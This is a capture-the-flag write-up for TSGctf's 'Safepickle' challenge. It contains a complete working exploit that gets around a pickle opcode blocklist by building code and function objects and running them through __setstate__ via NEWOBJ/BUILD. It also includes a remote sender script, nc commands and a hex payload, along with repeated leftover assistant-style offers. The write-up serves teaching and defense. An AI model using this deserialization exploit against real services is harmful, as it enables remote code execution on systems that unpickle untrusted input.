Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
MiscHard

Safepickle

CTF writeup for Safepickle Misc from TSGctf

//SafePickle

Category: Misc

Target: remote service at nc 35.194.98.181 53117

Flag format: TSGCTF{...}


>TL;DR

  • The service bans the pickling opcodes that are commonly abused for RCE (e.g., REDUCE, INST, OBJ) but still calls pickle.loads on untrusted input.

  • I exploited the fact that NEWOBJ + BUILD remain available and can be used to create objects with attacker-controlled __setstate__ / __setstate__-like behavior. This allows reading the flag without using the REDUCE opcode.

  • Local flag: TSGCTF{DUMMY}

  • Remote flag: TSGCTF{Reduce();Reuse();Recycle()}


>Files in the challenge

  • safepickle/src/server.py — the server script that reads hex, verifies disallowed opcodes via pickletools.genops() and prints pickle.loads() output.

  • safepickle/build/flag.txt — the local dummy flag.

  • exploit_local.py — the exploit/payload generator used in this writeup (included below).


>Recon — what the server does 🔍

server.py:

python

import pickle, pickletools

  

BANNED_OPS = [

    "EXT1", "EXT2", "EXT4", "REDUCE", "INST", "OBJ", "PERSID", "BINPERSID",

]

  

data = bytes.fromhex(input("input pickle (hex)> "))

try:

    for opcode, arg, pos in pickletools.genops(data):

        if opcode.name in BANNED_OPS:

            print(f"Banned opcode used: {opcode.name}")

            exit(0)

except Exception as e:

    print("Error :(")

    exit(0)

  

print(pickle.loads(data))

Observations:

  • The service uses pickletools.genops() to detect certain dangerous opcodes and exits if any are used.

  • Despite banning REDUCE (a very common gadget path to RCE), pickle.loads() is still called on the unchecked input.

  • If we can find a way to cause side effects during or immediately after pickle.loads() without using the banned opcodes, we can still get RCE/flag access.


>Attack idea — why not REDUCE? Why NEWOBJ/BUILD works 💡

  • REDUCE encodes "call this callable with these args" and is often used in RCE gadget chains. Blocking it helps but is not a full protection.

  • The pickle protocol includes other opcodes such as NEWOBJ (new object creation) and BUILD (applies state, invoking __setstate__ if present). If we can craft objects that execute code in __setstate__, we can trigger code execution without REDUCE.

  • Idea: construct a types.CodeType object (a code object), build a types.FunctionType around it, add it as __setstate__ in a freshly constructed class, instantiate that class, and then call BUILD with a chosen state — then __setstate__ runs our function which reads and prints the flag.

Why it's practical:

  • GLOBAL, NEWOBJ, BUILD, and memo selectors like BINGET are not in the banned list; they allow us to create objects and call constructors.

  • Python lets us construct CodeType and FunctionType via pickling when we can push the right constructor arguments and avoid banned opcodes.

Reference reading that inspired this approach:

  • Python pickle documentation — understanding opcodes and __setstate__ semantics

  • Various pickling RCE writeups that use __setstate__ or __reduce__ as gadgets (common resources on RCE via pickle)

(See the References section at the end for more.)


>Build & test locally 🧪

Proof of concept: generator and tests

I created exploit_local.py to generate a protocol-4 pickle (hex) that:

  1. Constructs a CodeType (bytecode of a __setstate__ function that prints the flag),

  2. Wraps it into a FunctionType,

  3. Creates a new class with type.__new__(...) and sets its __setstate__ to the function,

  4. Instantiates that class,

  5. Uses BUILD with None as state to invoke the __setstate__ and print the flag.

The generator checks the produced pickle with pickletools.genops() and ensures none of the banned opcodes appear.

Full solver (exploit_local.py):

python

#!/usr/bin/env python3

import struct

import types

import pickletools

  

BANNED_OPS = {

    "EXT1",

    "EXT2",

    "EXT4",

    "REDUCE",

    "INST",

    "OBJ",

    "PERSID",

    "BINPERSID",

}

  
  

def op_global(module: str, name: str) -> bytes:

    # GLOBAL opcode works across protocols: c<module>\n<name>\n

    return b"c" + module.encode() + b"\n" + name.encode() + b"\n"

  
  

def op_none() -> bytes:

    return b"N"

  
  

def op_empty_dict() -> bytes:

    return b"}"

  
  

def op_empty_tuple() -> bytes:

    return b")"

  
  

def op_mark() -> bytes:

    return b"("

  
  

def op_tuple() -> bytes:

    return b"t"

  
  

def op_setitem() -> bytes:

    return b"s"

  
  

def op_binunicode(s: str) -> bytes:

    b = s.encode("utf-8")

    return b"X" + struct.pack("<I", len(b)) + b

  
  

def op_binbytes(b: bytes) -> bytes:

    return b"B" + struct.pack("<I", len(b)) + b

  
  

def op_binint(n: int) -> bytes:

    # Minimal encoding for small ints

    if 0 <= n <= 0xFF:

        return b"K" + bytes([n])

    if 0 <= n <= 0xFFFF:

        return b"M" + struct.pack("<H", n)

    return b"J" + struct.pack("<i", n)

  
  

def op_newobj() -> bytes:

    return b"\x81"

  
  

def op_build() -> bytes:

    return b"b"

  
  

def op_memoize() -> bytes:

    # Protocol 4+

    return b"\x94"

  
  

def op_binget(idx: int) -> bytes:

    if not (0 <= idx <= 0xFF):

        raise ValueError("Only supports 1-byte memo indexes")

    return b"h" + bytes([idx])

  
  

def op_pop() -> bytes:

    return b"0"

  
  

def op_stop() -> bytes:

    return b"."

  
  

def proto(n: int) -> bytes:

    return b"\x80" + bytes([n])

  
  

def code_ctor_args_for_payload() -> tuple:

    # Build a tiny function and reuse its bytecode layout.

    def __setstate__(self, state):

        import os

  

        path = "flag.txt"

        if not os.path.exists(path):

            path = "build/flag.txt"

        print(open(path).read())

  

    co = __setstate__.__code__

  

    # Python 3.10 CodeType signature:

    # (argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags,

    #  codestring, constants, names, varnames, filename, name,

    #  firstlineno, lnotab, freevars, cellvars)

    return (

        co.co_argcount,

        co.co_posonlyargcount,

        co.co_kwonlyargcount,

        co.co_nlocals,

        co.co_stacksize,

        co.co_flags,

        co.co_code,

        co.co_consts,

        co.co_names,

        co.co_varnames,

        co.co_filename,

        co.co_name,

        co.co_firstlineno,

        co.co_lnotab,

        co.co_freevars,

        co.co_cellvars,

    )

  
  

def build_tuple(items: list[bytes]) -> bytes:

    # Use MARK ... TUPLE

    out = [op_mark()]

    out.extend(items)

    out.append(op_tuple())

    return b"".join(out)

  
  

def build_payload() -> bytes:

    args = code_ctor_args_for_payload()

  

    # Encode CodeType constructor args

    code_args_encoded: list[bytes] = []

  

    for v in args:

        if v is None:

            code_args_encoded.append(op_none())

        elif isinstance(v, int):

            code_args_encoded.append(op_binint(v))

        elif isinstance(v, bytes):

            code_args_encoded.append(op_binbytes(v))

        elif isinstance(v, str):

            code_args_encoded.append(op_binunicode(v))

        elif isinstance(v, tuple):

            # Recursively encode tuples of simple constants

            inner: list[bytes] = []

            for x in v:

                if x is None:

                    inner.append(op_none())

                elif isinstance(x, int):

                    inner.append(op_binint(x))

                elif isinstance(x, bytes):

                    inner.append(op_binbytes(x))

                elif isinstance(x, str):

                    inner.append(op_binunicode(x))

                else:

                    raise TypeError(f"Unsupported const type in tuple: {type(x)}")

            code_args_encoded.append(build_tuple(inner))

        else:

            raise TypeError(f"Unsupported CodeType arg type: {type(v)}")

  

    p = bytearray()

    p += proto(4)

  

    # 1) Create code object: types.CodeType(*args)

    p += op_global("types", "CodeType")

    p += build_tuple(code_args_encoded)

    p += op_newobj()

  

    # memo[0] = code

    p += op_memoize()

    p += op_pop()

  

    # 2) Build globals dict: {'__builtins__': builtins.__dict__}

    p += op_empty_dict()

    p += op_binunicode("__builtins__")

    p += op_global("builtins", "__dict__")

    p += op_setitem()

  

    # memo[1] = globals

    p += op_memoize()

    p += op_pop()

  

    # 3) Create function: types.FunctionType(code, globals)

    p += op_global("types", "FunctionType")

    p += build_tuple([op_binget(0), op_binget(1)])

    p += op_newobj()

  

    # memo[2] = function

    p += op_memoize()

    p += op_pop()

  

    # 4) Build class dict: {'__setstate__': function}

    p += op_empty_dict()

    p += op_binunicode("__setstate__")

    p += op_binget(2)

    p += op_setitem()

  

    # memo[3] = classdict

    p += op_memoize()

    p += op_pop()

  

    # 5) Build bases tuple: (object,)

    p += build_tuple([op_global("builtins", "object")])

  

    # memo[4] = bases

    p += op_memoize()

    p += op_pop()

  

    # 6) Create class via type.__new__(type, 'X', bases, classdict)

    p += op_global("builtins", "type")

    p += build_tuple([

        op_binunicode("X"),

        op_binget(4),

        op_binget(3),

    ])

    p += op_newobj()

  

    # memo[5] = class

    p += op_memoize()

    p += op_pop()

  

    # 7) Instantiate object: cls.__new__(cls)

    p += op_binget(5)

    p += op_empty_tuple()

    p += op_newobj()

  

    # 8) Trigger __setstate__ via BUILD with state=None

    p += op_none()

    p += op_build()

  

    p += op_stop()

    return bytes(p)

  
  

def check_banned(data: bytes) -> None:

    for opcode, _arg, _pos in pickletools.genops(data):

        if opcode.name in BANNED_OPS:

            raise ValueError(f"Banned opcode used: {opcode.name}")

  
  

def main() -> None:

    payload = build_payload()

    check_banned(payload)

    print(payload.hex())

  
  

if __name__ == "__main__":

    main()

Annotated walkthrough of exploit_local.py

  1. Helpers (opcodes):

   - op_global(module,name) — emits GLOBAL (c) for referencing constructors like types.CodeType and types.FunctionType.

   - op_binunicode, op_binbytes, op_binint — helpers for encoding immediate constants (strings, bytes, small integers).

   - op_newobj, op_build, op_memoize, op_binget, op_pop, op_stop — small wrappers for the matching pickle opcodes used in protocol 4.

  1. code_ctor_args_for_payload() — creates a small __setstate__ function in-place and extracts its __code__ fields (arg counts, bytecode, constants, names, filename, etc.). The function body reads flag.txt or build/flag.txt and prints it.

  2. build_tuple(items) — helper to emit a MARK, items, and TUPLE; used to provide argument tuples for various constructor calls.

  3. build_payload() — the main assembly routine. Steps it performs:

   - Build a CodeType object using types.CodeType + its constructor args, then NEWOBJ to create it and MEMOIZE it (memo[0]).

   - Create the globals dict {'__builtins__': builtins.__dict__} and MEMOIZE it (memo[1]).

   - Use types.FunctionType with the code and globals to create the function object (memo[2]).

   - Build a class dict where __setstate__ points to the function (memo[3]).

   - Build a bases tuple containing object (memo[4]).

   - Create a new class via type.__new__ with name 'X', the bases tuple and classdict (memo[5]).

   - Instantiate the class (NEWOBJ) and then BUILD with None as the state so the created instance's __setstate__ is invoked.

   - Stop the pickle stream.

  1. check_banned() — validates the generated payload using pickletools.genops() to ensure none of the banned opcode names are present.

  2. main() — prints the hex representation of the payload. Run directly with python3 exploit_local.py.

Automated remote exploit (exploit_remote.py)

This small script imports build_payload() from exploit_local.py, sends the hex payload to the remote host and prints the server response.

python

#!/usr/bin/env python3

import socket

from exploit_local import build_payload

  

HOST = '35.194.98.181'

PORT = 53117

  

def run():

    p = build_payload()

    hexp = p.hex() + "\n"

    with socket.create_connection((HOST, PORT), timeout=10) as s:

        s.sendall(hexp.encode())

        resp = b""

        try:

            while True:

                chunk = s.recv(4096)

                if not chunk:

                    break

                resp += chunk

        except Exception:

            pass

    print(resp.decode(errors='ignore'))

  

if __name__ == '__main__':

    run()

Usage example from the repo root:

bash

$ python3 exploit_remote.py

input pickle (hex)> TSGCTF{Reduce();Reuse();Recycle()}

  

<__main__.X object at 0x7c484d607df0>

Opcode check (proof banned opcodes are absent)

When inspecting the generated payload with pickletools.genops() I observed the opcode sequence and verified that no banned opcode is used:

payload_len= 465 opcodes: ['PROTO', 'GLOBAL', 'MARK', 'BININT1', ..., 'NEWOBJ', 'MEMOIZE', 'POP', 'EMPTY_DICT', 'BINUNICODE', 'GLOBAL', 'SETITEM', 'MEMOIZE', 'POP', 'GLOBAL', 'MARK', 'BINGET', 'BINGET', 'TUPLE', 'NEWOBJ', 'MEMOIZE', 'POP', 'EMPTY_DICT', 'BINUNICODE', 'BINGET', 'SETITEM', 'MEMOIZE', 'POP', 'MARK', 'GLOBAL', 'TUPLE', 'MEMOIZE', 'POP', 'GLOBAL', 'MARK', 'BINUNICODE', 'BINGET', 'BINGET', 'TUPLE', 'NEWOBJ', 'MEMOIZE', 'POP', 'BINGET', 'EMPTY_TUPLE', 'NEWOBJ', 'NONE', 'BUILD', 'STOP'] banned present? False

Run locally

  • Generate hex payload and run server locally to see the dummy flag:
$ printf '%s\n' "$(python3 exploit_local.py)" | python3 safepickle/src/server.py input pickle (hex)> TSGCTF{DUMMY} <__main__.X object at 0x75740857e980>

(Works as expected.)

Run remote (automated)

$ python3 exploit_remote.py input pickle (hex)> TSGCTF{Reduce();Reuse();Recycle()} <__main__.X object at 0x7c484d607df0>

Notes / References


If you want, I can now:

  • Add explicit, line-by-line comments inline into exploit_local.py itself for educational value, or

  • Create a small tutorial section inside writeup.md that demonstrates pickle opcodes with minimal examples.


Next section: "Run locally"

  • Generate the hex payload:
bash

$ python3 exploit_local.py

80046374797065730a436f6465547970650a284b024b004b004b024b034b5342140000007400740164018301a002a1008301010064005300284e5808000000666c61672e747874742858050000007072696e7458040000006f70656e5804000000726561
  • Feed it to the local server (the server prints the file contents which contains the dummy flag):
bash

$ printf '%s

' "<HEXPAYLOAD>" | python3 safepickle/src/server.py

input pickle (hex)> TSGCTF{DUMMY}

  

<__main__.X object at 0x75740857e980>
  • Explanation: The printed TSGCTF{DUMMY} confirms our __setstate__ was executed and read build/flag.txt.

>Exploiting remote service 🎯

Because the local service behavior matches the remote challenge (same code), I reused the same payload on the remote nc service.

Example interaction:

bash

# generate payload and send it to remote

$ HEX=$(python3 exploit_local.py)

$ (echo "$HEX"; sleep 1) | nc 35.194.98.181 53117

input pickle (hex)> TSGCTF{Reduce();Reuse();Recycle()}

  

<__main__.X object at 0x7c484d607df0>

And there we have the remote flag: TSGCTF{Reduce();Reuse();Recycle()}


>Implementation notes & pitfalls 🔧

  • The generator builds a types.CodeType with the same shape as a small __setstate__ function created in-place. Python 3.10 has a specific CodeType signature (the function code_ctor_args_for_payload() takes the __code__ object and reuses fields).

  • Care must be taken to keep everything in protocol 4 opcodes and to use MEMOIZE / BINGET when referencing constructed objects multiple times.

  • I verified generated pickles do not use banned opcodes using pickletools.genops() before sending to the server.


>Why this is instructive (lessons learned) 💡

  • Blocking REDUCE is helpful but not sufficient: other opcodes (NEWOBJ, BUILD) combined with __setstate__ can still lead to code execution.

  • Always be cautious with pickle.loads() on untrusted data — sanctifying certain opcodes is fragile.

  • When exploiting pickle, constructing CodeType and FunctionType by hand lets you run arbitrary Python logic without calling REDUCE.


>Terminal output (relevant snippets) 📋

Local run against server.py:

$ cd safepickle $ python3 exploit_local.py ... (hex payload) ... $ printf '%s ' "$(python3 exploit_local.py)" | python3 src/server.py input pickle (hex)> TSGCTF{DUMMY} <__main__.X object at 0x75740857e980>

Remote run:

$ HEX=$(python3 exploit_local.py) $ (echo "$HEX"; sleep 1) | nc 35.194.98.181 53117 input pickle (hex)> TSGCTF{Reduce();Reuse();Recycle()} <__main__.X object at 0x7c484d607df0>

>References & further reading 📚


>Wrap-up ✅

  • The challenge demonstrates a practical, realistic scenario: banning well-known dangerous pickle opcodes is not a secure substitute for not calling pickle.loads() on untrusted input.

  • The exploit is compact, uses only allowed opcodes and standard library pieces, and demonstrates how __setstate__ can be used to run attacker code.

If you'd like, I can also add:

  • A smaller, commented breakdown of the exploit_local.py internals line-by-line, or

  • A small script that automates sending the payload to the remote host and parsing the flag automatically.


Happy pwnage!